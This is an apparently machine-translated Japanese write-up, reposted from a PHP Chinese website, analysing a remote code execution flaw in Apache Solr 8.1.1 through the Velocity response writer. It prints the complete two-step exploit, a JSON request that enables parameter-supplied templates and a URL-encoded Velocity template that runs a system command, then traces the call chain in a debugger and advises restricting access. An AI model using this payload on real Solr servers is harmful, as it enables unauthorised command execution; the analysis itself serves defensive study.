Apache Solr は RCE 0day 脆弱性を発見しました (脆弱性番号は示されていません)。ここでは便宜上、オブジェクトを単純に再現し、RCE プロセス全体を分析します。を参照してください。
再現バージョン: 8.1.1
RCE を実装するには、2 つのステップに分ける必要があります。まず、アプリケーションに特定のコアが有効になっている場合 (Core Admin で表示できます)、インスタンス内のアプリケーションでは mycore が有効になっています。
次に、最初に次の json データを構成インターフェイスに送信します。
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
次に、次の URL にアクセスして RCE を実装します。
/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
まず、最初のデータ パケットを分析します。 mycore、最初に ブレークポイントは、構成リクエストを処理する SolrConfigHandler の handleRequestBody 関数に設定されます。
これは POST リクエストであるため、handlePOST 関数 ## をフォローアップします。
#その後、VelocityResponseWriter.getTemplate は、送信した v.template パラメーターに基づいて構築した悪意のあるテンプレートを取得します
最後に、悪意のあるテンプレートを取り出し、そのマージ メソッドを呼び出します,
このテンプレートを理解するには、Velocity Java テンプレート エンジン (このテンプレートは org.apache.velocity.Template クラス オブジェクトであるため) を理解し、公式のテンプレートを翻訳する必要があります。以下のように、
Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象
この文から、このテンプレート エンジンには Java コードを実行する機能があることがわかります。基本的な書き方を理解するだけで十分です。基本的な構文の紹介でペイロードの構築方法を理解することができますが、より深く理解したい場合は、Velocity Java の情報をご自身で確認していただけますので、ここでは詳細な説明は省略します。
つまり、最後に呼び出された悪意のあるテンプレートのマージ メソッドにより、RCE が正常に発生し、最終的にキー コール チェーンが追加されました。
改修計画
現在、正式パッチは提供されていないため、Solrへのアクセスを制限することをお勧めします。
以上がApache Solr の最新の RCE 脆弱性を分析する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。